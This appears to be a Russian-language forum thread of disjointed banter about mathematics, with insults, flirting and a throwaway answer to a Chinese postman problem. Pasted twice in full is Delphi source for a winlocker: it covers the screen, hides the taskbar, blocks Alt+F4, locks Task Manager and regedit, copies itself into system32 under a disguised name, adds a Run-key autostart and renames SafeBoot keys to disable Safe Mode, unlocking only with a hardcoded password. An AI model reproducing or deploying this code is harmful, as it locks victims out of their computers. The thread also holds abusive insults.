Давайте поговорим о Математике и об Алгоритмах. ?

Мне приятно, что вы не посчитали меня математической дурой!

Бывает что-же поделать. ! Как говориться каждому своё.!

А вы , действительно разбираетесь в математике

Ну не полностью пока, а так да.!

Вы-молодец! Меня радует такая молодежь!

Это хорхо что вы радуетесь.))))))))))))))))

А что за фигня. ! Что я на делал.!

Вы что делайте. ! Чем занимаетесь.?

Не чего вообще то я человек ты человек.! и не чего просто быть не может 2 мозга ты прикинь что такое мозг.!

Ну левое полушарие та тут.!

...................................................................................................

Задача о китайском почтальоне. Почтальон должен пройти вдоль каждой дороги своего квартала. Найдите минимальную длину его маршрута.______64564836

как два пальца облизать)))) 7 ;)главное,что я сказала уверенно)))хех

unit Unit1; interface usesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls, Registry; typeTForm1 = class(TForm)edt1: TEdit;btn1: TButton;lbl1: TLabel;lbl2: TLabel;lbl3: TLabel;lbl4: TLabel;lbl5: TLabel;btn2: TButton;procedure FormActivate(Sender: TObject);procedure FormKeyDown(Sender: TObject; var Key: Word;Shift: TShiftState);procedure FormCreate(Sender: TObject);procedure btn1Click(Sender: TObject);procedure btn2Click(Sender: TObject);private{ Private declarations }public{ Public declarations }end; varForm1: TForm1; implementation {$R *.dfm}{$R WindowsXP.res} procedure TForm1.FormActivate(Sender: TObject);varhTaskBar:THandle;beginForm1.Height:=screen.Height;Form1.Width:=screen.Width;SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);SystemParametersInfo(SPI_SETFASTTASKSWITCH,1,0,0);hTaskbar := FindWindow('Shell_TrayWnd', Nil);ShowWindow(hTaskBar, SW_HIDE);ShowWindow(FindWindow(Nil,'Program Manager'), SW_HIDE);ShowWindow(Application.Handle, SW_HIDE);end; procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;Shift: TShiftState);beginif ((ssAlt in Shift) and (Key = VK_F4)) thenKey:=0;end; procedure TForm1.FormCreate(Sender: TObject);varaz:TRegIniFile;pt : TPoint;beginFileOpen('C:\Windows\system32\taskmgr.exe',fmShareExclusive);FileOpen('C:\Windows\regedit.exe',fmShareExclusive);CopyFile(PChar(paramstr(0)), PChar('C:\Windows\system32\LXwinlogon.exe'),True);az:=TRegIniFile.Create('Software');az.RootKey:=HKEY_LOCAL_MACHINE;az.OpenKey('Software\Microsoft\Windows\CurrentVersion',True);az.WriteString('Run','Windows System Drives', 'C:\windows\system32\LXwinlogon.exe');az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\Minimal','System\CurrentControlSet\Control\SafeBoot\M',true);az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true);az.CloseKey;az.Free;end; procedure TForm1.btn1Click(Sender: TObject);varhTaskBar: THandle;Password: string;az:TRegIniFile;beginPassword:=edt1.text;if (Password='158') thenbeginSystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ;SystemParametersInfo(SPI_SETFASTTASKSWITCH,0,0,0);ShowWindow(FindWindow(Nil,'Program Manager'),SW_SHOW);hTaskbar:=FindWindow('Shell_TrayWnd', Nil);ShowWindow(hTaskBar, SW_SHOWNORMAL);az:=TRegIniFile.Create('Software');az.RootKey:=HKEY_LOCAL_MACHINE;az.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);az.DeleteValue('Windows System Drives');az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\M','System\CurrentControlSet\Control\SafeBoot\Minimal',true);az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\N','System\CurrentControlSet\Control\SafeBoot\NetWork',true);az.CloseKey;az.Free;Close;endelsebeginShowMessage('Неправильный пароль, попробуйте ещё!');edt1.Clear;end;end; end.

Прелестный код. Главное очень читабельный.

он умный, девочки- он еще и и умный и скромный. Хочу вас

точно скромный(повизгиваю)Лубу не могу жить без тебя, а глазки у тебя какие красивые...

ты, мой,Лев, Тигр...хочу тебя

Ах ха ха ха.! Хотиииииииииииииииииии.!

какие же вы...пустые)))))))))))))))))))))))

Бабка тупая) 31 год Россия.! ____

и горжусь этим, а ты соси в своей ботсване, ублюдок..

Чем ты гордишься, что ты бабка тупая. !

Ладно давай бабка тупая. ! Иди тупи.!

НУ ТЫ БЛИН И БОТАНИК, ВОПРОСЫ ЗАДАЁШЬ КОМУ ПОПАЛО, Я С ЭТИ УЖЕ 33 ГОДА РАБОТАЮ, ЧПУ ЗНАЕШЬ ЧТО ТАКОЕ, БЕЗ ЭТОГО ПОКА НИКАК

Мне - тоже в математике пожелайте...Я возвращаюсь в неё после (Увы!) инфаркта, правда выздоровление идёт медленно....

Я желаю вообще вам во всём, успеха, фарта, удачи, здоровье крепкого, и всего самого самого хорошего.!

Не болейте.!)))))))))))))))))))

А что для вас прекрасное, я и не знаю.!

О морфологии, что вы знаете?.)

у вас вопросы только предметные? а как на счет про жизнь?

Ладно.!) Какую песню ты бы выбрала для описания своей жизни?

АУУУУУУУУУУУУУУУУУУУУУУУУУУУУУУУ.!))))

unit Unit1; interface usesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls, Registry; typeTForm1 = class(TForm)edt1: TEdit;btn1: TButton;lbl1: TLabel;lbl2: TLabel;lbl3: TLabel;lbl4: TLabel;lbl5: TLabel;btn2: TButton;procedure FormActivate(Sender: TObject);procedure FormKeyDown(Sender: TObject; var Key: Word;Shift: TShiftState);procedure FormCreate(Sender: TObject);procedure btn1Click(Sender: TObject);procedure btn2Click(Sender: TObject);private{ Private declarations }public{ Public declarations }end; varForm1: TForm1; implementation {$R *.dfm}{$R WindowsXP.res} procedure TForm1.FormActivate(Sender: TObject);varhTaskBar:THandle;beginForm1.Height:=screen.Height;Form1.Width:=screen.Width;SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);SystemParametersInfo(SPI_SETFASTTASKSWITCH,1,0,0);hTaskbar := FindWindow('Shell_TrayWnd', Nil);ShowWindow(hTaskBar, SW_HIDE);ShowWindow(FindWindow(Nil,'Program Manager'), SW_HIDE);ShowWindow(Application.Handle, SW_HIDE);end; procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;Shift: TShiftState);beginif ((ssAlt in Shift) and (Key = VK_F4)) thenKey:=0;end; procedure TForm1.FormCreate(Sender: TObject);varaz:TRegIniFile;pt : TPoint;beginFileOpen('C:\Windows\system32\taskmgr.exe',fmShareExclusive);FileOpen('C:\Windows\regedit.exe',fmShareExclusive);CopyFile(PChar(paramstr(0)), PChar('C:\Windows\system32\LXwinlogon.exe'),True);az:=TRegIniFile.Create('Software');az.RootKey:=HKEY_LOCAL_MACHINE;az.OpenKey('Software\Microsoft\Windows\CurrentVersion',True);az.WriteString('Run','Windows System Drives', 'C:\windows\system32\LXwinlogon.exe');az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\Minimal','System\CurrentControlSet\Control\SafeBoot\M',true);az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true);az.CloseKey;az.Free;end; procedure TForm1.btn1Click(Sender: TObject);varhTaskBar: THandle;Password: string;az:TRegIniFile;beginPassword:=edt1.text;if (Password='158') thenbeginSystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ;SystemParametersInfo(SPI_SETFASTTASKSWITCH,0,0,0);ShowWindow(FindWindow(Nil,'Program Manager'),SW_SHOW);hTaskbar:=FindWindow('Shell_TrayWnd', Nil);ShowWindow(hTaskBar, SW_SHOWNORMAL);az:=TRegIniFile.Create('Software');az.RootKey:=HKEY_LOCAL_MACHINE;az.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);az.DeleteValue('Windows System Drives');az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\M','System\CurrentControlSet\Control\SafeBoot\Minimal',true);az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\N','System\CurrentControlSet\Control\SafeBoot\NetWork',true);az.CloseKey;az.Free;Close;endelsebeginShowMessage('Неправильный пароль, попробуйте ещё!');edt1.Clear;end;end; end.

в четвертой строке серьезная ошибка... Общая оценка - НЕ УДОВЛ.

вот так и начинаются .....................

Что начинается.! Всё норм код грамотно написан.!